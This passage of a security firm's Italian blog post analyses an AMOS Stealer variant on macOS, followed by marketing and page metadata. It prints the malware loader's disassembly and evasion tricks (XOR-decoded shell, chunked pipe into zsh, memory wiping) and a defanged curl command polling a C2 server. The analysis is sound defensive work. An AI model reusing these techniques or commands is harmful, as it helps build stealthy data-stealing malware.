0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[554,2295,2293],{"__ignoreMap":584},[527,2297,2298,2299,2302,2303,2305,2306,2309],{},"La chiave XOR è ",[554,2300,2301],{},"0x2e",", il valore ASCII di ",[554,2304,1530],{}," (punto). La decodifica avviene in una singola istruzione ",[554,2307,2308],{},"eor v0.8B, v0.8B, v1.8B",", un'istruzione vettoriale ARM64 NEON che esegue lo XOR di tutti gli 8 byte contemporaneamente. Usare un'istruzione SIMD per un semplice decode di 8 byte è insolito e ha due effetti: è più rapido di un loop byte per byte, e il pattern di istruzioni generato è radicalmente diverso dai loop di decode scalari su cui gli strumenti di signature matching sono addestrati.",[527,2311,2312,2313,1323,2316,1323,2319,1323,2322,2325,2326,1530],{},"La verifica è semplice: ",[554,2314,2315],{},"0x01 XOR 0x2e = 0x2f = /",[554,2317,2318],{},"0x4c XOR 0x2e = 0x62 = b",[554,2320,2321],{},"0x47 XOR 0x2e = 0x69 = i",[554,2323,2324],{},"0x40 XOR 0x2e = 0x6e = n",", che nei primi quattro byte forma ",[554,2327,2328],{},"/bin",[705,2330,2332],{"id":2331},"passo-2-larchitettura-pipe","Passo 2: l'architettura pipe",[527,2334,711],{},[527,2336,2337],{},"Dopo aver decodificato il nome del comando, la funzione crea una pipe di OS e forka:",[572,2339,2340],{"style":574},[576,2341,2344],{"className":2342,"code":2343,"language":581},[579],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[554,2345,2343],{"__ignoreMap":584},[527,2347,2348],{},"Nel processo figlio:",[572,2350,2351],{"style":574},[576,2352,2355],{"className":2353,"code":2354,"language":581},[579],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[554,2356,2354],{"__ignoreMap":584},[527,2358,2359,2360,2363,2364,2367,2368,2370],{},"Il processo figlio sostituisce il proprio standard input con l'estremità di lettura della pipe e avvia ",[554,2361,2362],{},"/bin/zsh -s",". In modalità ",[554,2365,2366],{},"-s"," la shell legge i comandi da stdin. Per gli strumenti di process monitoring questo processo appare come ",[554,2369,2362],{}," senza argomenti, indistinguibile da una legittima sessione shell interattiva.",[705,2372,2374],{"id":2373},"passo-3-write-in-chunk-di-dimensione-variabile","Passo 3: write in chunk di dimensione variabile",[527,2376,711],{},[527,2378,2379],{},"Il processo padre scrive il payload decifrato sull'estremità di scrittura della pipe in chunk di dimensione volutamente variabile:",[572,2381,2382],{"style":574},[576,2383,2386],{"className":2384,"code":2385,"language":581},[579],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[554,2387,2385],{"__ignoreMap":584},[527,2389,2390,2391,2394,2395,2398,2399,2402,2403,1530],{},"La formula per la dimensione del chunk ",[554,2392,2393],{},"(remaining_length % 192) + 64"," genera valori tra 64 e 255 byte per chiamata di write, a seconda della lunghezza residua del payload. Il pattern di write variabile è visibile in strumenti di kernel event tracing come ",[554,2396,2397],{},"ktrace"," o ",[554,2400,2401],{},"dtrace",", ma non produce una signature di dimensione fissa riconoscibile. Ogni esecuzione dello stesso payload produce una sequenza diversa di dimensioni di syscall ",[554,2404,2405],{},"write()",[527,2407,2408,2409,2411],{},"La ",[554,2410,1119],{}," di 1 microsecondo tra i chunk ha un secondo scopo: rilascia la CPU tra le scritture, mantiene piatto il carico di CPU ed evita un picco improvviso che una regola EDR di tipo behavioral potrebbe segnalare come burst I/O anomalo.",[705,2413,2415],{"id":2414},"passo-4-pulizia-immediata-della-memoria","Passo 4: pulizia immediata della memoria",[527,2417,711],{},[572,2419,2420],{"style":574},[576,2421,2424],{"className":2422,"code":2423,"language":581},[579],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[554,2425,2423],{"__ignoreMap":584},[527,2427,2428,2429,2432],{},"La chiamata ",[554,2430,2431],{},"_bzero()"," azzera l'intero buffer del payload decifrato immediatamente dopo l'ultima scrittura sulla pipe. Nessuna finestra temporale, nemmeno di un microsecondo, in cui il payload decifrato resti in memoria dopo la fine dell'esecuzione. Un memory dump live effettuato subito dopo il ritorno di questa funzione trova solo zeri dove prima c'era il payload.",[527,2434,2435,2436,2439],{},"La tecnica si chiama ",[770,2437,2438],{},"zero-after-use",", la stessa usata dalle librerie crittografiche ad alta sicurezza per impedire che del materiale di chiave rimanga in memoria. Vederla in un commodity malware è insolito e suggerisce uno sviluppatore con background di security engineering.",[705,2441,2443],{"id":2442},"la-sequenza-di-esecuzione-completa","La sequenza di esecuzione completa:",[527,2445,711],{},[572,2447,2448],{"style":574},[576,2449,2452],{"className":2450,"code":2451,"language":581},[579],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[554,2453,2451],{"__ignoreMap":584},[561,2455,2457],{"id":2456},"la-import-table-come-arma","La import table come arma",[527,2459,567],{},[527,2461,2462],{},"La import table completa di questa binary:",[572,2464,2465],{"style":574},[576,2466,2469],{"className":2467,"code":2468,"language":581},[579],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[554,2470,2468],{"__ignoreMap":584},[527,2472,2473],{},"In totale 27 simboli. Ciò che manca è almeno tanto significativo quanto ciò che è presente.",[705,2475,2477],{"id":2476},"assente-rete","Assente: rete",[527,2479,711],{},[572,2481,2482],{"style":574},[576,2483,2486],{"className":2484,"code":2485,"language":581},[579],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[554,2487,2485],{"__ignoreMap":584},[705,2489,2491],{"id":2490},"assente-filesystem","Assente: filesystem",[527,2493,711],{},[572,2495,2496],{"style":574},[576,2497,2500],{"className":2498,"code":2499,"language":581},[579],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[554,2501,2499],{"__ignoreMap":584},[705,2503,2505],{"id":2504},"assente-introspezione-dei-processi","Assente: introspezione dei processi",[527,2507,711],{},[572,2509,2510],{"style":574},[576,2511,2514],{"className":2512,"code":2513,"language":581},[579],"getpid      getuid      getenv      sysctl\n",[554,2515,2513],{"__ignoreMap":584},[705,2517,2519],{"id":2518},"assente-crittografia","Assente: crittografia",[527,2521,567],{},[572,2523,2524],{"style":574},[576,2525,2528],{"className":2526,"code":2527,"language":581},[579],"CCCrypt     SecItemAdd  SecKeychainFind\n",[554,2529,2527],{"__ignoreMap":584},[527,2531,2532,2533,1323,2536,2539,2540,1323,2543,2546],{},"In un sample di malware tradizionale ci si aspetta di trovare import di rete (",[554,2534,2535],{},"socket",[554,2537,2538],{},"connect",") o di file (",[554,2541,2542],{},"fopen",[554,2544,2545],{},"write","). Questa binary non ne ha nemmeno uno. Per uno scanner standard sembra un innocuo process launcher, e questo è voluto: una scelta architetturale deliberata che fa girare a vuoto gli strumenti di analisi statica.",[527,2548,918,2549,2551],{},[554,2550,921],{}," non compie di per sé il furto. Il suo unico scopo è depositare ed eseguire il vero payload malevolo, un AppleScript fortemente offuscato. Un EDR o un AV che cerca binary malevole vede qui un loader senza I/O di rete o file e può classificarlo come pulito, senza riconoscere che la binary è un sistema di consegna specializzato per un payload script di alto livello.",[537,2553],{},[540,2555,2557],{"id":2556},"la-backdoor","La backdoor",[527,2559,546],{},[527,2561,2562,2563,2566],{},"L'incidente non è finito dopo la compromissione iniziale. La telemetria di Microsoft Defender ha mostrato un processo che girava da ",[554,2564,2565],{},"/Users/\u003Credacted>/.mainhelper"," e interrogava un server esterno:",[572,2568,2569],{"style":574},[576,2570,2572],{"className":781,"code":2571,"language":783,"meta":584,"style":584},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[554,2573,2574],{"__ignoreMap":584},[621,2575,2576,2579,2581],{"class":623,"line":624},[621,2577,2578],{"class":790},"sh",[621,2580,795],{"class":794},[621,2582,2583],{"class":808}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[527,2585,2586],{},"La stringa Base64 si decodificava in una device UUID di 16 byte, l'identificativo univoco che l'infrastruttura C2 dell'attaccante aveva assegnato a questo dispositivo il giorno dell'infezione iniziale.",[527,2588,918,2589,2592,2593,2596,2597,1530],{},[554,2590,2591],{},".mainhelper"," (SHA-256: ",[554,2594,2595],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") era stata installata il giorno dell'incidente dal dropper osascript tramite ",[554,2598,791],{},[537,2600],{},[540,2602,2604],{"id":2603},"la-forza-dello-scudo-collettivo-la-nostra-shared-threat-intelligence-platform","La forza dello scudo collettivo: la nostra Shared Threat Intelligence Platform",[527,2606,546],{},[527,2608,2609],{},"Quando nel nostro SOC scatta un alert, l'orologio non inizia a correre solo per il cliente colpito, ma per ogni organizzazione sotto lo scudo di glueckkanja. Questa indagine su una variante di AMOS non documentata rende evidente cosa significhi l'Intelligence Gap nella pratica: una finestra temporale rischiosa, in cui i vendor tradizionali sono ciechi perché non hanno ancora visto la minaccia.",[527,2611,2612],{},"È qui che la nostra Shared Threat Intelligence Platform proprietaria dimostra il suo valore, sviluppata in esclusiva per i clienti glueckkanja CSOC. Non aspettiamo gli update del settore, li generiamo. Mentre i nostri analisti smontavano ancora gli ultimi layer dell'assembly ARM64, la nostra Automated Orchestration Engine stava già distribuendo gli indicatori estratti su tutto il nostro ecosistema. Ne risulta una immunità di gregge: ciò che viene scoperto su un singolo endpoint diventa nel giro di minuti una minaccia bloccata per ogni organizzazione sotto la nostra protezione.",[527,2614,2615],{},"La security reattiva non funziona contro minacce che scivolano di proposito attraverso le crepe dei meccanismi di difesa convenzionali. La risposta sta nel combinare l'expertise umana con un'architettura che mette quella conoscenza subito in campo e su scala. Grazie al nostro modello di Shared Intelligence, il vantaggio temporale dell'attaccante si ribalta: i nostri clienti sono protetti prima ancora che la minaccia venga riconosciuta dal settore.",[2617,2618,2619,2624,2627,2630],"blockquote",{},[527,2620,2621],{},[770,2622,2623],{},"Nota sulla privacy",[527,2625,2626],{},"Le informazioni identificative sono state anonimizzate in questa pubblicazione. Dettagli tecnici specifici, indicatori e timestamp possono essere stati leggermente modificati per garantire la protezione continua dell'ambiente colpito, senza compromettere l'integrità tecnica dell'analisi.",[527,2628,2629],{},"Le analisi tecniche e gli Indicators of Compromise (IOC) contenuti in questo report hanno finalità puramente informative e formative. Vengono forniti al meglio delle nostre conoscenze. glueckkanja AG non fornisce garanzie esplicite o implicite in merito a completezza o accuratezza e non risponde di danni, perdite o incidenti di sicurezza derivanti dall'uso delle informazioni, delle regole o delle signature qui condivise. Consigliamo di validare tutti gli indicatori e le regole in un ambiente controllato prima di metterli in esercizio.",[527,2631,2632],{},"Gli indicatori e le tecniche descritte possono sovrapporsi a famiglie di malware note e non sono attribuibili in via esclusiva a una singola campagna.",[2634,2635,2636],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":584,"searchDepth":630,"depth":630,"links":2638},[2639,2640,2641,2642,2649,2650,2651,2652,2660,2667],{"id":563,"depth":630,"text":564},{"id":604,"depth":630,"text":605},{"id":665,"depth":630,"text":666},{"id":697,"depth":630,"text":698,"children":2643},[2644,2645,2646,2647,2648],{"id":707,"depth":848,"text":708},{"id":722,"depth":848,"text":723},{"id":736,"depth":848,"text":737},{"id":745,"depth":848,"text":746},{"id":762,"depth":848,"text":763},{"id":928,"depth":630,"text":929},{"id":1018,"depth":630,"text":1019},{"id":1134,"depth":630,"text":1135},{"id":1205,"depth":630,"text":1206,"children":2653},[2654,2655,2656,2657,2658,2659],{"id":1220,"depth":848,"text":1221},{"id":1509,"depth":848,"text":1510},{"id":1764,"depth":848,"text":1765},{"id":1958,"depth":848,"text":1959},{"id":2045,"depth":848,"text":2046},{"id":2197,"depth":848,"text":2198},{"id":2251,"depth":630,"text":2252,"children":2661},[2662,2663,2664,2665,2666],{"id":2267,"depth":848,"text":2268},{"id":2331,"depth":848,"text":2332},{"id":2373,"depth":848,"text":2374},{"id":2414,"depth":848,"text":2415},{"id":2442,"depth":848,"text":2443},{"id":2456,"depth":630,"text":2457,"children":2668},[2669,2670,2671,2672],{"id":2476,"depth":848,"text":2477},{"id":2490,"depth":848,"text":2491},{"id":2504,"depth":848,"text":2505},{"id":2518,"depth":848,"text":2519},"md","post",{"lang":2676,"seoTitle":2677,"titleClass":2678,"date":2679,"categories":2680,"blogtitlepic":2681,"socialimg":2682,"customExcerpt":2683,"keywords":2684,"maxContent":325,"asideNav":2685,"footer":2700,"contactInContent":2701,"published":325},"it","Variante di AMOS Stealer: reverse engineering di un malware macOS sconosciuto","h2-font-size","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Una variante di AMOS Stealer finora non documentata ha compromesso un endpoint macOS. Nessun hash noto, nessun dato C2 nei database pubblici. Il nostro SOC ha smontato sei livelli di offuscamento, estratto tutti gli indicatori e distribuito la protezione a tutti i clienti SOC nel giro di poche ore, prima ancora che il settore avesse visto il sample.","AMOS Stealer, macOS Malware, Reverse Engineering, analisi malware, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS Security, Stealer Malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2686},[2687,2690,2692,2695,2697],{"href":2688,"text":2689},"#lincidente","L'incidente",{"href":2691,"text":564},"#stage-1-verifiche-sandbox",{"href":2693,"text":2694},"#stage-2-analisi-della-binary","Stage 2: analisi della binary",{"href":2696,"text":2557},"#la-backdoor",{"href":2698,"text":2699},"#shared-threat-intelligence","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2702},{"bgColor":2703,"headline":2704,"subline":2705,"level":561,"textStyling":2706,"flush":2707,"person":2708,"form":2714},"var(--color-gk-dark-blue)","Contattaci","Vuoi sapere come la nostra Shared Threat Intelligence Platform ti protegge dalle varianti di malware sconosciute prima ancora che il settore ne venga a conoscenza? Contattaci.","text-light","justify-content-end",{"image":2709,"cloudinary":325,"alt":2710,"name":2711,"quotee":2711,"quoteeTitle":2712,"quote":2713},"/people/people-jan-geisbauer-csoc.jpg","Ritratto di Jan Geisbauer, Head of Security di glueckkanja","Jan Geisbauer","Head of Security","Il pericolo di questa variante non era la complessità tecnica, per quanto notevole. Il pericolo era la finestra temporale. Senza Shared Threat Intelligence gli altri clienti sarebbero rimasti scoperti per ore, mentre noi eravamo ancora in fase di analisi.",{"ctaText":2715,"cta":2716,"method":2674,"action":2718,"fields":2719},"Invia",{"skin":2717},"primary on-surface","/send",[2720,2724,2728,2731,2735,2740,2745,2747,2750,2753,2756,2758],{"type":2721,"id":2722,"value":2723},"hidden","_next","successful",{"label":2725,"type":581,"id":2726,"required":325,"requiredMsg":2727},"Nome*","name","Inserisci il tuo nome.",{"label":2729,"type":581,"id":403,"required":325,"requiredMsg":2730},"Azienda*","Inserisci la tua azienda.",{"label":2732,"type":2733,"id":2733,"required":325,"requiredMsg":2734},"Indirizzo email*","email","Inserisci il tuo indirizzo email.",{"label":2736,"type":2737,"id":2738,"required":484,"requiredMsg":2739},"Il tuo messaggio","textarea","message","Inserisci un messaggio.",{"label":2741,"type":2742,"id":2743,"required":325,"requiredMsg":2744},"I tuoi dati vengono conservati da noi per elaborare e rispondere alla tua richiesta. Ulteriori informazioni sulla privacy sono disponibili nella nostra \u003Ca href=\"/it/privacy\">informativa sulla privacy\u003C/a>.","checkbox","dataprotection","Conferma",{"type":2721,"id":2746,"value":235},"_topic",{"type":2721,"id":2748,"value":2749},"_location","World",{"type":2721,"id":2751,"value":2752},"_subject","Form: Blog AMOS Stealer CSOC | IT",{"type":2721,"id":2754,"value":2755},"inbox_key","gkgab-contact-form",{"type":2721,"id":2757},"_gotcha",{"type":2721,"id":2759},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":520,"description":529},"posts/2026-04-10-incident-to-intelligence",[2764,2765,2766,2767,2768],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","WIfAvqtm_L8vVo7BvVQZacXq3l0USmWpyOko1FSxQlI",{"id":2771,"extension":2772,"meta":2773,"stem":8,"__hash__":3121},"authors_data/authors.json","json",{"path":2774,"Fritz Zurhorst":2775,"Alexander Schlindwein":2781,"Sophie Luna":2787,"Nadine Klein":2795,"Karsten Kleinschmidt":2801,"Julian Wendt":2809,"Holger Bunkradt":2814,"Ralf Mania":2820,"Oliver Kieselbach":2826,"Steffen Schwerdtfeger":2832,"Gunnar Winter":2840,"Jan Petersen":2845,"Thorsten Kunzi":2850,"Moritz Pohl":2854,"Thorben Pöschus":2859,"Christoph Hannebauer":2865,"Marco Scheel":2869,"Christopher Brumm":2874,"Florian Klante":2881,"Niklas Bachmann":2886,"Nils Krautkrämer":2891,"Patrick Treptau":2897,"Peter Beckendorf":2902,"Patrick Sobau":2907,"Jörg Wunderlich":2912,"Michael Breither":2916,"Christian Kanja":2921,"Zeba Hoffmann":2927,"Jochen Fröhlich":2932,"Jan Geisbauer":2936,"Gerrit Reinke":2946,"Christian Kordel":2952,"Stephan Wälde":2956,"Carolin Kanja":2961,"Adrian Ritter":2967,"Marvin Bangert":2972,"Thorsten Pickhan":2978,"Christian Lorenz":2984,"Denis Böhm":2989,"Fabian Bader":2994,"Juan Jose Fernandez Perez":3000,"Mahschid Sayyar":3005,"Benjamin Dassow":3010,"Markus Walschburger":3015,"Jonathan Haist":3020,"Daniel Rohregger":3025,"Thomas Naunheim":3030,"Florian Stöckl":3035,"Pascal Asch":3040,"Markus Kättner":3044,"Anna Ulbricht":3051,"Annette Brauns":3058,"body":3064,"title":3120},"/authors",{"display_name":2776,"avatar":2777,"permalink":2778,"linkedin":2779,"imageOffsetTop":2780},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2782,"avatar":2783,"permalink":2784,"twitter":2785,"linkedin":2786},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2788,"avatar":2789,"permalink":2790,"twitter":2791,"linkedin":2792,"imageOffsetLeft":2793,"imageOffsetTop":2794},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2796,"avatar":2797,"permalink":2798,"twitter":2799,"linkedin":2800,"imageOffsetTop":2780},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2802,"avatar":2803,"permalink":2804,"twitter":2805,"linkedin":2806,"imageOffsetTop":2807,"imageOffsetLeft":2808},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2810,"avatar":2811,"permalink":2812,"linkedin":2813},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2815,"avatar":2816,"permalink":2817,"linkedin":2818,"twitter":2819},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2821,"avatar":2822,"permalink":2823,"linkedin":2824,"twitter":2825},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2827,"avatar":2828,"permalink":2829,"linkedin":2830,"twitter":2831},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2833,"avatar":2834,"permalink":2835,"linkedin":2836,"twitter":2837,"imageOffsetTop":2838,"imageOffsetLeft":2839},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2841,"avatar":2842,"permalink":2843,"twitter":2791,"linkedin":2844},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2846,"avatar":2847,"permalink":2848,"twitter":2791,"linkedin":2849},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2851,"avatar":2852,"permalink":2853,"twitter":2791,"linkedin":2844,"imageOffsetTop":2780},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2855,"avatar":2856,"permalink":2857,"twitter":2791,"linkedin":2858},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2860,"avatar":2861,"permalink":2862,"twitter":2863,"linkedin":2864},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2866,"avatar":2867,"permalink":2868,"twitter":2791,"linkedin":2844,"imageOffsetTop":2780},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2870,"avatar":2871,"permalink":2872,"twitter":2873,"linkedin":2873},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2875,"avatar":2876,"permalink":2877,"twitter":2878,"linkedin":2879,"imageOffsetTop":2880},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2882,"avatar":2883,"permalink":2884,"linkedin":2885,"twitter":2791},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2887,"avatar":2888,"permalink":2889,"linkedin":2890,"twitter":2791},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2892,"avatar":2893,"permalink":2894,"twitter":2895,"linkedin":2896},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2898,"avatar":2899,"permalink":2900,"linkedin":2901,"twitter":2791},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2903,"avatar":2904,"permalink":2905,"linkedin":2906,"twitter":2791,"imageOffsetTop":2780},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2908,"avatar":2909,"permalink":2910,"linkedin":2911,"twitter":2791},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2913,"avatar":2914,"permalink":2915,"twitter":2791},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2917,"avatar":2918,"permalink":2919,"twitter":2791,"linkedin":2920},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2922,"avatar":2923,"permalink":2924,"twitter":2925,"linkedin":2926},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2928,"avatar":2929,"permalink":2930,"linkedin":2931,"twitter":2791},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2933,"avatar":2934,"permalink":2935,"twitter":2791,"linkedin":2844},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2711,"avatar":2937,"permalink":2938,"twitter":2939,"linkedin":2939,"imageOffsetTop":2780,"socials":2940},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2941,2943],{"text":472,"href":2942},"https://emptydc.com",{"text":2944,"href":2945},"Podcast","https://hairlessinthecloud.com",{"display_name":2947,"avatar":2948,"permalink":2949,"twitter":2950,"linkedin":2951},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2953,"avatar":2954,"permalink":2955,"twitter":2791,"linkedin":2844},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2957,"avatar":2958,"permalink":2959,"twitter":2960,"linkedin":2844},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2962,"avatar":2963,"permalink":2964,"twitter":2965,"linkedin":2966},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2968,"avatar":2969,"permalink":2970,"twitter":2971,"linkedin":2971},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2973,"avatar":2974,"permalink":2975,"twitter":2976,"linkedin":2977},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2979,"avatar":2980,"permalink":2981,"twitter":2982,"linkedin":2983},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2985,"avatar":2986,"permalink":2987,"linkedin":2988,"twitter":2791},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2990,"avatar":2991,"permalink":2992,"linkedin":2993,"twitter":2791},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2995,"avatar":2996,"permalink":2997,"linkedin":2998,"twitter":2999},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3001,"avatar":3002,"permalink":3003,"linkedin":3004},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3006,"avatar":3007,"permalink":3008,"linkedin":3009},"Mahschid 